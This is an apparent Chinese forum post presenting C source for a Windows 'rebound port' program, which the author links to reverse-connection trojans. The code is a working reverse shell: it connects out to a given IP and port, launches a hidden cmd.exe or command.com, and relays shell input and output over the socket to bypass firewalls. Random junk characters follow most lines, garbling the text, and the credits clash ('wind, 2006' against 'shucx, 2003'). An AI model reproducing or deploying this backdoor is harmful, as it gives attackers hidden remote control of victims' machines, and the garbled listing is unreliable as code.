这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 i
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/* ============================== MZpK~c1`
Rebound port in Windows NT 9Ro6fjjE
By wind,2006/7 6*qL[m.F[o
===============================*/ ? Zc"C
#include a@@M+9Q
#include X=6y_^
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#pragma comment(lib,"wsock32.lib") |\dZ'
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void OutputShell(); Q.9qImgN
SOCKET sClient; 9%iUG(DC
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5aBAr
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void main(int argc,char **argv) c9\2YKo
{ &X|<@'933
WSADATA stWsaData; WpS1a440
int nRet; AsPx?
SOCKADDR_IN stSaiClient,stSaiServer; KJ?y@Q
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if(argc != 3) CvPioi
{ T"p(]@Ng
printf("Useage:\n\rRebound DestIP DestPort\n"); ]Ni;w]KE
return; T/c<23i
} iJv48#'ii
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WSAStartup(MAKEWORD(2,2),&stWsaData); F,GN[f-
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O<jPGU
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stSaiClient.sin_family = AF_INET; SVa6V}"Iv
stSaiClient.sin_port = htons(0); 'q>2t}KG
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); hH->%*
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 7l."b$U4yv
{ e8h,,:l3j
printf("Bind Socket Failed!\n"); :s-o0$PlJ
return; [EY`am8[
} Kzb`$CGK
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stSaiServer.sin_family = AF_INET; joXfmHB}
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /ahNnCtu?1
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 'r} zY-FM`
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Q<6P. PTya
{ H^~.mBP
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printf("Connect Error!"); 85IMdZ7I
return; C}?0`!Cc%
} _P,^_%}V06
OutputShell(); TFR(
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} j2M+]Zp.
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void OutputShell() p T[gdhc
{ J^m<*
char szBuff[1024]; (QB+%2v
SECURITY_ATTRIBUTES stSecurityAttributes; ogeL[7
OSVERSIONINFO stOsversionInfo; PzZZ>7_6S
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; @!Hr|k|
STARTUPINFO stStartupInfo; y69J%/c
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char *szShell; rS*$rQCr=
PROCESS_INFORMATION stProcessInformation; YCy2 2@C
unsigned long lBytesRead; 7m9"8
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 'GJVWpvUU
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); VY+>=!
stSecurityAttributes.lpSecurityDescriptor = 0;
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stSecurityAttributes.bInheritHandle = TRUE; fT
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +&ZX$
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Vf-5&S&9
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7;LO2<|1
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uCzii o`S
stStartupInfo.wShowWindow = SW_HIDE; \
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stStartupInfo.hStdInput = hReadPipe; !0 Q8iW:
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; */ OI*{Q
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GetVersionEx(&stOsversionInfo);
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switch(stOsversionInfo.dwPlatformId) ~U}Mv{y
{ =^h~!ovj:
case 1: GVd48 *
szShell = "command.com"; b>cafu
break; LxJ6M/".
default: `1p 8C%
szShell = "cmd.exe"; $V8vrT#:
break; *,#q'!Hq
} s` >H
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); K5 vNhA
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send(sClient,szMsg,77,0); {^&@gkYY
while(1) p/|(,)'+jx
{ 17py).\
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); G%w_CMfH
if(lBytesRead) PHR#>ZD
{ 4nX(:K}>
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); d><fu]'
send(sClient,szBuff,lBytesRead,0); 0B3 QVbp'
} R40W'N1%q
else b%0BkS*
{ =Nl5{qYz^&
lBytesRead=recv(sClient,szBuff,1024,0); b!~TAT&8
if(lBytesRead<=0) break; l]vohLz
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); QTh0SL
} ]Ti $ztJ
} 'yT`ef
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return; DJ:38_ F
}